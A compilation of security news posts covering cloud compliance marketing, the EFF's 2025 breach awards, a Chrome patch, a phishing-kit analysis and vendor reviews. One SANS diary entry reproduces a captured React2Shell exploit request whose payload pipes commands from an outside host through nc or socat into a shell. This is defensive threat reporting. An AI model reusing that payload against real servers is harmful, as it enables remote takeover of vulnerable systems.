The MAS cloud advisory calls for financial institutions to “enforce the principle of least privilege stringently” when granting access to assets in the public cloud. It further advises firms to consider adopting zero trust principles in the architecture design of applications, where “access to public cloud services and resources is evaluated and granted on a per-request and need-to basis.”
At Tenable, we believe applying least privilege in Identity Access Management (IAM) is the cornerstone for effective cloud security. In the cloud, excessive permissions on accounts that can access sensitive data are a direct route to a breach.
The Tenable Cloud Security domain within Tenable One offers integrated cloud infrastructure entitlement management (CIEM) that enforces strict least privilege across human and machine identities in Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, Oracle Cloud Infrastructure (OCI), and Kubernetes environments.
Here’s a detailed look at how Tenable can help with three of the cloud advisory’s IAM provisions:
| MAS cloud advisory item | How Tenable helps |
| 10. As IAM is the cornerstone of effective cloud security risk management, FIs should enforce the principle of “least privilege” stringently when granting access to information assets in the public cloud. | Tenable provides easy visualization of effective permissions through identity intelligence and permission mapping. By querying permissions across identities, you can quickly surface problems and revoke excessive permissions with automatically generated least privilege policies. |
| 11. Financial institutions should implement multi-factor authentication (MFA) for staff with privileges to configure public cloud services through the CSPs’ metastructure, especially staff with top-level account privileges (e.g. known as the “root user” or “subscription owner” for some CSPs). | Tenable offers detailed monitoring for privileged users, including IAM users who don't have multi-factor authentication (MFA) enabled. |
| 12. Credentials used by system/application services for authentication in the public cloud, such as “access keys,” should be changed regularly. If the credentials are not used, they should be deleted immediately. | Tenable's audits check for this specific condition. They can identify IAM users whose access keys have not been rotated within a specified time frame (e.g., 90 days). This helps you to quickly identify and address this security vulnerability |
Source: Tenable, December 2025
For financial institutions using microservices and containers, the MAS cloud advisory advises that, to reduce the attack surface, each container includes only the core software components needed by the application. The cloud advisory also notes that security tools made for traditional on-premises IT infrastructure (e.g. vulnerability scanners) may not run effectively on containers, and advises financial institutions to adopt container-specific security solutions for preventing, detecting, and responding to container-specific threats. For firms using IaC to provision or manage public cloud workloads, it further calls for implementing controls to minimize the risk of misconfigurations.
At Tenable, we believe this explicit mandate for specialized cloud and container security solutions underscores the need for continuous, accurate risk assessment. Tenable Cloud Security is purpose-built to meet these requirements with full Cloud Security Posture Management (CSPM) and Cloud Workload Protection (CWP) capabilities across your cloud footprint. This ability to see and protect every cloud asset — from code to container — is crucial for enabling contextual prioritization of risk. We also believe that relying solely on static vulnerability scoring systems, like the Common Vulnerability Scoring System (CVSS) is insufficient because it fails to reflect real-world exploitability. To ensure financial institutions focus remediation efforts where they matter most, Tenable Exposure Management, including Tenable Cloud Security, incorporates the Tenable Vulnerability Priority Rating (VPR) — dynamic, predictive risk scoring that allows teams to address the most immediate and exploitable threats first.
Tenable unifies cloud workload protection (CWP) with cloud security posture management (CSPM) to provide continuous, contextual risk assessment.
Here’s a detailed look at how Tenable can help with two of the cloud advisory’s provisions related to securing applications in the public cloud:
| MAS cloud advisory item | How Tenable helps |
| 19. Applications that run in a public cloud environment may be packaged in containers, especially for applications adopting a microservices architecture. Financial institutions should ensure that each container includes only the core software components needed by the application to reduce the attack surface. As containers typically share a host operating system, financial institutions should run containers with a similar risk profile together (e.g., based on the criticality of the service or the data that are processed) to minimize risk exposure. As security tools made for traditional on-premise[s] IT infrastructure (e.g. vulnerability scanners) may not run effectively on containers, financial institutions should adopt [a] container-specific security solution for preventing, detecting, and responding to container-specific threats. |
Tenable integrates with your CI/CD pipelines and container registries to provide visibility and control throughout the container lifecycle. Here's how it works:
|
| 20. Financial institutions should ensure stringent control over the granting of access to container orchestrators (e.g. Kubernetes), especially the use of the orchestrator administrative account, and the orchestrators’ access to container images. To ensure that only secure container images are used, a container registry could be established to facilitate tracking of container images that have met the financial institution’s security requirements. |
Tenable's Kubernetes Security Posture Management (KSPM) component continuously scans your Kubernetes resources (like pods, deployments, and namespaces) to identify misconfigurations and policy violations. This allows you to:
Tenable’s admission controllers act as gatekeepers to your Kubernetes cluster. When a user or a system attempts to deploy a new container image, the admission controller intercepts the request before it's fully scheduled. It then checks the image against your defined security policies. Your policies can be based on factors such as:
If the image violates any of these policies, the admission controller denies the deployment, preventing the vulnerable container from ever reaching production. |
Source: Tenable, December 2025
Tenable One is the market-leading exposure management platform, normalizing, contextualizing, and correlating security signals from all domains, including cloud — across vulnerabilities, misconfigurations, and identities spanning your hybrid estate. Exposure management enables cross-functional alignment between SecOps, DevOps, and governance, risk and compliance (GRC) teams with a shared, unified view of risk.
Tenable Cloud Security, part of the Tenable One Exposure Management platform, supports continuous adherence to the MAS cloud advisory and enables risk-based decision-making by eliminating the toxic combinations that attackers exploit. The platform unifies security insight, transforming the effort to achieve compliance from a necessary burden into a strategic advantage.
The post Complying with the Monetary Authority of Singapore’s Cloud Advisory: How Tenable Can Help appeared first on Security Boulevard.
Raise your hand if you’ve fallen victim to a vendor-led conversation around their latest AI-driven platform over the past calendar year. Keep it up if the pitch leaned on “next-gen,” “market-shaping,” or “best-in-class” while they nudged another product into your stack. If your hand is still up, you are not alone. MSPs are the target because you sit between shrinking budgets and rising risk.
The post MSP Automation Isn’t Optional, But it Isn’t the Answer to Everything appeared first on Security Boulevard.
Another year has come and gone, and with it, thousands of data breaches that affect millions of people. The question these days is less, Is my information in a data breach this year? and more How many data breaches had my information in them this year?
Some data breaches are more noteworthy than others. Where one might affect a small number of people and include little useful information, like a name or email address, others might include data ranging from a potential medical diagnosis to specific location information. To catalog and talk about these breaches we created the Breachies, a series of tongue-in-cheek awards, to highlight the most egregious data breaches.
In most cases, if these companies practiced a privacy first approach and focused on data minimization, only collecting and storing what they absolutely need to provide the services they promise, many data breaches would be far less harmful to the victims. But instead, companies gobble up as much as they can, store it for as long as possible, and inevitably at some point someone decides to poke in and steal that data. Once all that personal data is stolen, it can be used against the breach victims for identity theft, ransomware attacks, and to send unwanted spam. It has become such a common occurrence that it’s easy to lose track of which breaches affect you, and just assume your information is out there somewhere. Still, a few steps can help protect your information.
With that, let’s get to the awards.
The Winners
We’ve long warned that apps delivering your personal information to third-parties, even if they aren’t the ad networks directly driving surveillance capitalism, presents risks and a salient target for hackers. The more widespread your data, the more places attackers can go to find it. Mixpanel, a data analytics company which collects information on users of any app which incorporates its SDK, suffered a major breach in November this year. The service has been used by a wide array of companies, including the Ring Doorbell App, which we reported on back in 2020 delivering a trove of information to Mixpanel, and PornHub, which despite not having worked with the company since 2021, had its historical record of paying subscribers breached.
There’s a lot we still don’t know about this data breach, in large part because the announcement about it is so opaque, leaving reporters with unanswered questions about how many were affected, if the hackers demanded a ransom, and if Mixpanel employee accounts utilized standard security best practices. One thing is clear, though: the breach was enough for OpenAI to drop them as a provider, disclosing critical details on the breach in a blog post that Mixpanel’s own announcement conveniently failed to mention.
The worst part is that, as a data analytics company providing libraries which are included in a broad range of apps, we can surmise that the vast majority of people affected by this breach have no direct relationship with Mixpanel, and likely didn’t even know that their devices were delivering data to the company. These people deserve better than vague statements by companies which profit off of (and apparently insufficiently secure) their data.
Last year, AU10TIX won our first The We Told You So Award because as we predicted in 2023, age verification mandates would inevitably lead to more data breaches, potentially exposing government IDs as well as information about the sites that a user visits. Like clockwork, they did. It was our first We Told You So Breachies award, but we knew it wouldn’t be the last.
Unfortunately, there is growing political interest in mandating identity or age verification before allowing people to access social media or adult material. EFF and others oppose these plans because they threaten both speech and privacy.
Nonetheless, this year’s winner of The We Still Told You So Breachies Award is the messaging app, Discord — once known mainly for gaming communities, it now hosts more than 200 million monthly active users and is widely used to host fandom and community channels.
In September of this year, much of Discord’s age verification data was breached — including users’ real names, selfies, ID documents, email and physical addresses, phone numbers, IP addresses, and other contact details or messages provided to customer support. In some cases, “limited billing information” was also accessed—including payment type, the last four digits of credit card numbers, and purchase histories.
Technically though, it wasn’t Discord itself that was hacked but their third-party customer support provider — a company called Zendesk—that was compromised, allowing attackers to access Discord’s user data. Either way, it’s Discord users who felt the impact.
Speaking of age verification, Tea, the dating safety app for women, had a pretty horrible year for data breaches. The app allows users to anonymously share reviews and safety information about their dates with men—helping keep others safe by noting red flags they saw during their date.
Since Tea is aimed at women’s safety and dating advice, the app asks new users to upload a selfie or photo ID to verify their identity and gender to create an account. That’s some pretty sensitive information that the app is asking you to trust it with! Back in July, it was reported that 72,000 images had been leaked from the app, including 13,000 images of photo IDs and 59,000 selfies. These photos were found via an exposed database hosted on Google’s mobile app development platform, Firebase. And if that isn’t bad enough, just a week later a second breach exposed private messages between users, including messages with phone numbers, abortion planning, and discussions about cheating partners. This breach included more than 1.1 million messages from early 2023 all the way to mid-2025, just before the breach was reported. Tea released a statement shortly after, temporarily disabling the chat feature.
But wait, there’s more. A completely different app based on the same idea, but for men, also suffered a data breach. TeaOnHer failed to protect similar sensitive data. In August, TechCrunch discovered that user information — including emails, usernames, and yes, those photo IDs and selfies — was accessible through a publicly available web address. Even worse? TechCrunch also found the email address and password the app’s creator uses to access the admin page.
Breaches like this are one of the reasons that EFF shouts from the rooftops against laws that mandate user verification with an ID or selfie. Every company that collects this information becomes a target for data breaches — and if a breach happens, you can’t just change your face.
Another year, another data breach caused by online tracking tools.
In April, Blue Shield of California revealed that it had shared 4.7 million people’s health data with Google by misconfiguring Google Analytics on its website. The data, which may have been used for targeted advertising, included: people’s names, insurance plan details, medical service providers, and patient financial responsibility. The health insurance company shared this information with Google for nearly three years before realizing its mistake.
If this data breach sounds familiar, it’s because it is: last year’s Just Stop Using Tracking Tech award also went to a healthcare company that leaked patient data through tracking code on its website. Tracking tools remain alarmingly common on healthcare websites, even after years of incidents like this one. These tools are marketed as harmless analytics or marketing solutions, but can expose people’s sensitive data to advertisers and data brokers.
EFF’s free Privacy Badger extension can block online trackers, but you shouldn’t need an extension to stop companies from harvesting and monetizing your medical data. We need a strong, federal privacy law and ban on online behavioral advertising to eliminate the incentives driving companies to keep surveilling us online.
In December 2024, PowerSchool, the largest provider of student information systems in the U.S., gave hackers access to sensitive student data. The breach compromised personal information of over 60 million students and teachers, including Social Security numbers, medical records, grades, and special education data. Hackers exploited PowerSchool’s weak security—namely, stolen credentials to their internal customer support portal—and gained unfettered access to sensitive data stored by school districts across the country.
PowerSchool failed to implement basic security measures like multi-factor authentication, and the breach affected districts nationwide. In Texas alone, over 880,000 individuals’ data was exposed, prompting the state's attorney general to file a lawsuit, accusing PowerSchool of misleading its customers about security practices. Memphis-Shelby County Schools also filed suit, seeking damages for the breach and the cost of recovery.
While PowerSchool paid hackers an undisclosed sum to prevent data from being published, the company’s failure to protect its users’ data raises serious concerns about the security of K-12 educational systems. Adding to the saga, a Massachusetts student, Matthew Lane, pleaded guilty in October to hacking and extorting PowerSchool for $2.85 million in Bitcoin. Lane faces up to 17 years in prison for cyber extortion and aggravated identity theft, a reminder that not all hackers are faceless shadowy figures — sometimes they’re just a college kid.
Credit reporting giant TransUnion had to notify its customers this year that a hack nabbed the personal information of 4.4 million people. How'd the attackers get in? According to a letter filed with the Maine Attorney General's office obtained by TechCrunch, the problem was a “third-party application serving our U.S. consumer support operations.” That's probably not the kind of support they were looking for.
TransUnion said in a Texas filing that attackers swept up “customers’ names, dates of birth, and Social Security numbers” in the breach, though it was quick to point out in public statements that the hackers did not access credit reports or “core credit data.” While it certainly could have been worse, this breach highlights the many ways that hackers can get their hands on information. Coming in through third-parties, companies that provide software or other services to businesses, is like using an unguarded side door, rather than checking in at the front desk. Companies, particularly those who keep sensitive personal information, should be sure to lock down customer information at all the entry points. After all, their decisions about who they do business with ultimately carry consequences for all of their customers — who have no say in the matter.
Microsoft is a company nobody feels neutral about. Especially in the infosec world. The myriad software vulnerabilities in Windows, Office, and other Microsoft products over the decades has been a source of frustration and also great financial rewards for both attackers and defenders. Yet still, as the saying goes: “nobody ever got fired for buying from Microsoft.” But perhaps, the times, they are a-changing.
In July 2025, it was revealed that a zero-day security vulnerability in Microsoft’s flagship file sharing and collaboration software, SharePoint, had led to the compromise of over 400 organizations, including major corporations and sensitive government agencies such as the National Nuclear Security Administration (NNSA), the federal agency responsible for maintaining and developing the U.S. stockpile of nuclear weapons. The attack was attributed to three different Chinese government linked hacking groups. Amazingly, days after the vulnerability was first reported, there were still thousands of vulnerable self-hosted Sharepoint servers online.
Zero-days happen to tech companies, large and small. It’s nearly impossible to write even moderately complex software that is bug and exploit free, and Microsoft can’t exactly be blamed for having a zero-day in their code. But when one company is the source of so many zero-days consistently for so many years, one must start wondering whether they should put all their eggs (or data) into a basket that company made. Perhaps if Microsoft’s monopolistic practices had been reined in back in the 1990s we wouldn’t be in a position today where Sharepoint is the defacto file sharing software for so many major organizations. And maybe, just maybe, this is further evidence that tech monopolies and centralization of data aren’t just bad for consumer rights, civil liberties, and the economy—but also for cybersecurity.
Look, we’ll keep this one short: in October of last year, researchers found security issues in the flat earther app, Flat Earth, Sun, Moon, & Clock. In March of 2025, that breach was confirmed. What’s most notable about this, aside from including a surprising amount of information about gender, name, email addresses and date of birth, is that it also included users’ location info, including latitude and longitude. Huh, interesting.
In January, hackers claimed they stole millions of people’s location history from a company that never should’ve had it in the first place: location data broker Gravy Analytics. The data included timestamped location coordinates tied to advertising IDs, which can reveal exceptionally sensitive information. In fact, researchers who reviewed the leaked data found it could be used to identify military personnel and gay people in countries where homosexuality is illegal.
The breach of this sensitive data is bad, but Gravy Analytics’s business model of regularly harvesting and selling it is even worse. Despite the fact that most people have never heard of them, Gravy Analytics has managed to collect location information from a billion phones a day. The company has sold this data to other data brokers, makers of police surveillance tools, and the U.S. government.
How did Gravy Analytics get this location information from people’s phones? The data broker industry is notoriously opaque, but this breach may have revealed some of Gravy Analytics’ sources. The leaked data referenced thousands of apps, including Microsoft apps, Candy Crush, Tinder, Grindr, MyFitnessPal, pregnancy trackers and religious-focused apps. Many of these app developers said they had no relationship with Gravy Analytics. Instead, expert analysis of the data suggests it was harvested through the advertising ecosystem already connected to most apps. This breach provides further evidence that online behavioral advertising fuels the surveillance industry.
Whether or not they get hacked, location data brokers like Gravy Analytics threaten our privacy and security. Follow EFF’s guide to protecting your location data and help us fight for legislation to dismantle the data broker industry.
TeslaMate, a tool meant to track Tesla vehicle data (but which is not owned or operated by Tesla itself), has become a cautionary tale about data security. In August, a security researcher found more than 1,300 self-hosted TeslaMate dashboards were exposed online, leaking sensitive information such as vehicle location, speed, charging habits, and even trip details. In essence, your Cybertruck became the star of its own Keeping Up With My Cybertruck reality show, except the audience wasn’t made up of fans interested in your lifestyle, just random people with access to the internet.
TeslaMate describes itself as “that loyal friend who never forgets anything!” — but its lack of proper security measures makes you wish it would. This breach highlights how easily location data can become a tool for harassment or worse, and the growing need for legislation that specifically protects consumer location data. Without stronger regulations around data privacy, sensitive location details like where you live, work, and travel can easily be accessed by malicious actors, leaving consumers with no recourse.
Confidentiality is a core principle in the practice of law. But this year a breach of confidentiality came from an unexpected source: a breach of the federal court filing system. In August, Politico reported that hackers infiltrated the Case Management/Electronic Case Files (CM/ECF) system, which uses the same database as PACER, a searchable public database for court records. Of particular concern? The possibility that the attack exposed the names of confidential informants involved in federal cases from multiple court districts. Courts across the country acted quickly to set up new processes to avoid the possibility of further compromises.
The leak followed a similar incident in 2021 and came on the heels of a warning to Congress that the file system is more than a little creaky. In fact, an IT official from the federal court system told the House Judiciary Committee that both systems are “unsustainable due to cyber risks, and require replacement.”
Just like last year, a stalkerware company was subject to a data breach that really should prove once and for all that these companies must be stopped. In this case, Catwatchful is an Android spyware company that sells itself as a “child monitoring app.” Like other products in this category, it’s designed to operate covertly while uploading the contents of a victim’s phone, including photos, messages, and location information.
This data breach was particularly harmful, as it included not just the email addresses and passwords on the customers who purchased the app to install on a victim’s phone, but also the data from the phones of 26,000 victims’ devices, which could include the victims’ photos, messages, and real-time location data.
This was a tough award to decide on because Catwatchful wasn’t the only stalkerware company that was hit this year. Similar breaches to SpyX, Cocospy, and Spyic were all strong contenders. EFF has worked tirelessly to raise the alarm on this sort of software, and this year worked with AV Comparatives to test the stalkerware detection rate on Android of various major antivirus apps.
Every year, we all get a reminder about why using unique passwords for all our accounts is crucial for protecting our online identities. This time around, the award goes to Plex, who experienced a data breach that included customer emails, usernames, and hashed passwords (which is a fancy way of saying passwords are scrambled through an algorithm, but it is possible they could still be deciphered).
If this all sounds vaguely familiar to you for some reason, that’s because a similar issue also happened to Plex in 2022, affecting 15 million users. Whoops.
This is why it is important to use unique passwords everywhere. A password manager, including one that might be free on your phone or browser, makes this much easier to do. Likewise, credential stuffing illustrates why it’s important to use two-factor authentication. Here’s how to turn that on for your Plex account.
Troy Hunt, the person behind Have I Been Pwned? and who has more experience with data breaches than just about anyone, also proved that anyone can be pwned. In a blog post, he details what happened to his mailing list:
You know when you're really jet lagged and really tired and the cogs in your head are just moving that little bit too slow? That's me right now, and the penny has just dropped that a Mailchimp phish has grabbed my credentials, logged into my account and exported the mailing list for this blog.
And he continues later:
I'm enormously frustrated with myself for having fallen for this, and I apologise to anyone on that list. Obviously, watch out for spam or further phishes and check back here or via the social channels in the nav bar above for more.
The whole blog is worth a read as a reminder that phishing can get anyone, and we thank Troy Hunt for his feedback on this and other breaches to include this year.
Data breaches are such a common occurrence that it’s easy to feel like there’s nothing you can do, nor any point in trying. But privacy isn’t dead. While some information about you is almost certainly out there, that’s no reason for despair. In fact, it’s a good reason to take action.
There are steps you can take right now with all your online accounts to best protect yourself from the the next data breach (and the next, and the next):
According to one report, 2025 had already seen 2,563 data breaches by October, which puts the year on track to be one of the worst by the sheer number of breaches.
We did not investigate every one of these 2,500-plus data breaches, but we looked at a lot of them, including the news coverage and the data breach notification letters that many state Attorney General offices host on their websites. We can’t award the coveted Breachies Award to every company that was breached this year. Still, here are some (dis)honorable mentions we wanted to highlight:
Salesforce, F5, Oracle, WorkComposer, Raw, Stiizy, Ohio Medical Alliance LLC, Hello Cake, Lovense, Kettering Health, LexisNexis, WhatsApp, Nexar, McDonalds, Congressional Budget Office, Doordash, Louis Vuitton, Adidas, Columbia University, Hertz, HCRG Care Group, Lexipol, Color Dating, Workday, Aflac, and Coinbase. And a special nod to last minute entrants Home Depot, 700Credit, and Petco.
What now? Companies need to do a better job of only collecting the information they need to operate, and properly securing what they store. Also, the U.S. needs to pass comprehensive privacy protections. At the very least, we need to be able to sue companies when these sorts of breaches happen (and while we’re at it, it’d be nice if we got more than $5.21 checks in the mail). EFF has long advocated for a strong federal privacy law that includes a private right of action.
I have already talked about various React2Shell exploit attempts we have observed in the last weeks. But new varieties of the exploit are popping up, and the most recent one is using this particular version of the exploit:
POST /app HTTP/1.1
Host: 81.187.66.58
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Next-Action: 0
Rsc-Action: 0
Content-Length: 388
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: */*
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="$RSC"
Content-Type: application/json
{"0":{"0":{"0":{"constructor":{"constructor":{"constructor":"function() { const {execSync} = require('child_process'); return execSync('\n(nc 45.153.34.201 65050||socat - tcp:45.153.34.201:65050)|sh\n').toString(); }"}}}}}}
------WebKitFormBoundary7MA4YWxkTrZu0gW--
The overall idea is similar to what we have seen in the past. This version adds the "Rsc-Action" header, which I assume is supposed to target sites that expose react server components without Next.js. The "Next-Action" header is still present as well. The scans are also attempting different URLs:
/
/api
/app
/api/route
/_next/server
Other exploits have focused on the index page (/). I assume the pool of vulnerable systems is running dry, and attackers are diversifying their exploits a bit. Sadly, the host providing instructions for what to do next (45.153.34.201) is no longer providing these instructions.
--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Google issued an extra patch addressing two security vulnerabilities in Chrome, both of which can be triggered remotely by an attacker when a user visits a specially crafted, malicious web page.
Chrome is by far the world’s most popular browser, with an estimated 3.4 billion users. That makes it a massive target. When Chrome has a security flaw that can be triggered just by visiting a website, billions of users are exposed until they update.
That’s why it’s important to install these patches promptly. Staying unpatched means you could be at risk just by browsing the web. Attackers often try to exploit browser vulnerabilities quickly, before most users have a chance to update. Always let Chrome update itself, and don’t delay restarting it, as updates usually fix exactly this kind of risk.
The latest version number is 143.0.7499.146/.147 for Windows and macOS, and 143.0.7499.146 for Linux. So, if your Chrome is on version 143.0.7499.146 or later, it’s protected from these vulnerabilities.
The easiest way to update is to allow Chrome to update automatically, but you can end up lagging behind if you never close your browser or if something goes wrong—such as an extension stopping you from updating the browser.
To update manually, click the More menu (three dots), then go to Settings > About Chrome. If an update is available, Chrome will start downloading it. Restart Chrome to complete the update, and you’ll be protected against these vulnerabilities.
You can also find step-by-step instructions in our guide to how to update Chrome on every operating system.
One of the vulnerabilities was found in the WebGPU web graphics API, which allows for graphics processing, games, and more, as well as AI and machine learning applications. This vulnerability, tracked as CVE-2025-14765 is a use-after-free vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Use-after-free is a class of vulnerability caused by incorrect use of dynamic memory during a program’s operation. If, after freeing a memory location, a program does not clear the pointer to that memory, an attacker may be able to use the error to manipulate the program.
Heap corruption occurs when a program inadvertently damages the allocator’s view of the heap, which can lead to unexpected alterations in memory. The heap is a region of memory used for dynamic memory allocation.
The other vulnerability, known as CVE-2025-14766 was—once again—found in the V8 engine as an out-of-bounds read and write.
V8 is the engine that Google developed for processing JavaScript, and it has seen more than its fair share of bugs.
An out-of-bounds read and write vulnerability means an attacker may be able to manipulate parts of the device’s memory that should be out of their reach. Such a flaw allows a program to read or write outside the bounds the program sets, enabling attackers to manipulate other parts of the memory allocated to more critical functions. Attackers could write code to a part of the memory where the system executes it with permissions that the program and user should not have.
In this case, the vulnerability could be exploited when the engine processes specially crafted HTML content, such as a malicious website.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
A Chrome browser extension with 6 million users, as well as seven other Chrome and Edge extensions, for months have been silently collecting data from every AI chatbot conversion, packaging it, and then selling it to third parties like advertisers and data brokers, according to Koi Security.
The post Google Chrome Extension is Intercepting Millions of Users’ AI Chats appeared first on Security Boulevard.
A PDF named “NEW Purchase Order # 52177236.pdf” turned out to be a phishing lure. So we analyzed the phishing script behind it.
A customer contacted me when Malwarebytes blocked the link inside a “purchase order” email they had received.
When I examined the attachment, it soon became clear why we blocked it.
The visible content of the PDF showed a button prompting the recipient to view the purchase order. Hovering over the button revealed a long URL that included a reference to a PDF viewer. While this might fool some people at first glance, a closer look raised red flags:
Since I’m rarely able to control my curiosity, I temporarily added an exclusion to Malwarebytes’ web protection so I could see where the link would take me. The destination was a website displaying a login form with the target’s email address already filled in (the address shown here was fabricated by me):
The objective was clear: phishing. But the site’s source code didn’t reveal much.
The most likely objective was to harvest business email addresses and their passwords. Attackers commonly test these credentials against enterprise services such as Microsoft Outlook, Google Workspace, VPNs, file-sharing platforms, and payroll systems. The deliberately vague prompt for a “business email” increases the likelihood that users will provide corporate credentials rather than personal ones.
There was also a small personalization touch. The “Estimado” greeting sets a professional tone and is common in business correspondence across Spanish-speaking regions.
For a full analysis read on, but the real clue is that the harvested credentials accompanied additional information about the victim’s browser, operating system, language, cookies, screen size, and location. This data was sent directly to the scammer’s account on Telegram, where it’s likely to be used to compromise the business network or sold on to other cybercriminals.
A quick search on VirusTotal showed that there were several PDF files linking to the exact same ionoscloud.com subdomain.
As I pointed out earlier, the source code of the initial phishing page did not reveal a lot. These are probably auto-generated templates that can be planted on any website, allowing attackers a fast rotation.
ionoscloud.com belongs to IONOS Cloud, the cloud infrastructure division of IONOS, a major European hosting company. It offers services similar to Amazon AWS or Microsoft Azure, including hosting for websites and files. Scammers specifically choose reputable cloud platforms like IONOS Cloud because of the “halo effect” of being hosted at a well-known domain, which means security companies can’t just block the whole domain.
The criminals also get the flexibility to quickly spin up, modify, or tear down phishing sites and continue to evade detection by moving to new URLs or storage buckets.
So, we followed the trail to a JavaScript file, which turned out to be obfuscated script—and a long one at that. But the end of it looked promising.
Since it was still unclear at this point what it was up to, I made a change to the script to avoid infection and which allowed me to get the source code without executing the script. To achieve this, I replaced the last line of the original script with code that exports the next layer to an HTML file.
The next obfuscation layer turned out to be easy. All it contained was a long string that needed to be unescaped. Because of the length, I used an online decoder to do that for me.
This showed me the code for the actual form that the target would see—and the goal of the whole phishing expedition.
The part that did the actual harvesting was hidden in another script.
This was still pretty long and obfuscated but by analyzing the code and giving the functions readable names I managed to find out which information the script gathered. For example, the script uses the ipapi location service:
And I found out where it sent the details.
Any credentials entered on the phishing page are POSTed directly to the attacker’s Telegram bot and immediately forwarded to their chosen Telegram chat for collection. The Telegram chat ID hardcoded in the script was 5485275217.
The advice here is pretty standard. (Do as our customer did, not as I did.)
Pro tip: Malwarebytes Scam Guard recognized the screenshot of the PDF as a phishing attempt and provided advice on how to deal with it.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
As holiday lights go up and inboxes fill with year-in-review emails, it’s tempting to look back on 2025 as “the year of AI.”
But for security teams, it was something more specific – the year APIs, AI agents, and MCP servers collided across the API fabric, expanding the attack surface faster than most organizations could keep up.
At Salt Security, we spent 2025 focused on one thing: defending the API action layer where AI, applications, and data intersect. And we did it with a steady drumbeat of innovation, a new “gift” for security teams almost every month.
So in the spirit of the season, here’s a look back at Salt’s 12 Months of Innovation – a year-long series of product launches, partnerships, and research milestones designed to help organizations stay ahead of fast-moving threats.
We kicked off the year by shining a harsh light on what many teams already suspected:
Early 2025 research and thought leadership from Salt Labs showed just how dangerous it is to run modern AI and automation on top of APIs you don’t fully understand or control.
Takeaway: January set the tone – defending tomorrow’s API fabric with yesterday’s tools is no longer an option.
In February, we went from “we think we have a problem” to “here are the numbers.”
With the latest State of API Security Report and key industry recognitions such as inclusion in top security lists, Salt brought hard data to boardroom and CISO conversations.
The message was clear:
Takeaway: API security is no longer a niche concern. It’s a business risk that demands strategy, budget, and board-level attention.
March blended validation and urgency.
On one side, industry bodies recognized Salt’s leadership with awards like a Gold Globee, underscoring the maturity and impact of our platform.
On the other, new blogs and research highlighted reality on the ground:
Takeaway: Excellence in API security isn’t just about winning awards, it’s about staying ahead of adversaries who are constantly adapting.
In April, collaboration took center stage.
We deepened integrations with leading platforms such as CrowdStrike and expanded support for modern ecosystems, including MCP server–driven architectures.
By weaving Salt API intelligence into tools security teams already rely on, we helped customers:
Takeaway: API and AI security are team sports. Partnerships and integrations turn siloed tools into a cohesive defense fabric.
By May, the conversation had shifted from “we’re moving to the cloud” to “our entire business depends on it.”
Salt expanded coverage and governance capabilities for leading cloud environments and partners, helping customers:
Takeaway: In 2025, API security moved squarely into the boardroom as a core pillar of enterprise risk.
June was all about turning on the lights.
We launched Salt Illuminate and expanded Cloud Connect, giving customers the ability to:
Takeaway: You can’t protect what you can’t see. Illuminate gave teams the visibility foundation they’ve been missing.
In July, the stakes became very real.
High-profile AI mishaps, including incidents like the McDonald’s chatbot breach, made one thing painfully obvious: conversational AI and digital experiences are only as safe as the APIs behind them.
Salt responded with:
Takeaway: 2025 was the year CISOs started asking not just “What APIs do we have?” but “Which of these are exposed, exploitable, and business-critical?”
By August, “autonomous” wasn’t just a buzzword, it was a roadmap theme.
Organizations leaned hard into:
Salt’s innovation in this space emphasized a key reality: AI, autonomy, and APIs are inseparable.
We advanced protections for autonomous threat hunting and AI-driven security use cases, reinforcing that if APIs are compromised, autonomous systems are too.
Takeaway: You can’t secure autonomous operations if you’re not securing the API action layer that powers them.
September was a turning point.
Salt introduced the industry’s first solution to secure AI agent actions across APIs and MCP servers, bringing real controls to a problem that had mostly been theoretical.
This meant:
Takeaway: The AI agent revolution doesn’t have to be a security nightmare — if you secure the actions, not just the model.
In October, new data from Salt and customer environments revealed how deep the AI + API blind spots really go.
We broke down:
Through detailed analysis and practical guidance, we helped teams turn confusion into a roadmap for modernizing their security posture.
Takeaway: Education is as important as technology. You can’t fix what you don’t fully understand.
November brought a massive step forward in shifting API security left and right at the same time.
We launched:
Combined with runtime intelligence from the Salt platform, customers could now connect:
Takeaway: Real API security covers the full lifecycle, from design and code to production traffic and AI-agent actions.
We closed the year with a new kind of experience: Ask Pepper AI.
Ask Pepper AI turns Salt’s platform into a conversational partner, letting users:
Alongside MCP protection for AWS WAF, December marked the next stage in our vision: API security that’s not just powerful, but accessible and intuitive.
Takeaway: When security teams can simply ask questions and get meaningful, contextual answers, they move faster, and so does the business.
If 2025 was the year APIs fully merged with AI agents, automation, and MCP servers, 2026 will be the year organizations either embrace the API action layer or fall behind those that do.
At Salt Security, our focus remains the same:
The 12 Months of Innovation were just the beginning. The threats are evolving, and so are we.
If you want to learn more about Salt and how we can help you, please contact us, schedule a demo, or visit our website. You can also get a free API Attack Surface Assessment from Salt Security's research team and learn what attackers already know.
The post The 12 Months of Innovation: How Salt Security Helped Rewrite API & AI Security in 2025 appeared first on Security Boulevard.
Introduction Let’s be honest — passwords are a pain. They’re either too simple and easy to guess, or so complicated […]
The post How Passkeys Work (Explained Simply) appeared first on Security Boulevard.
Login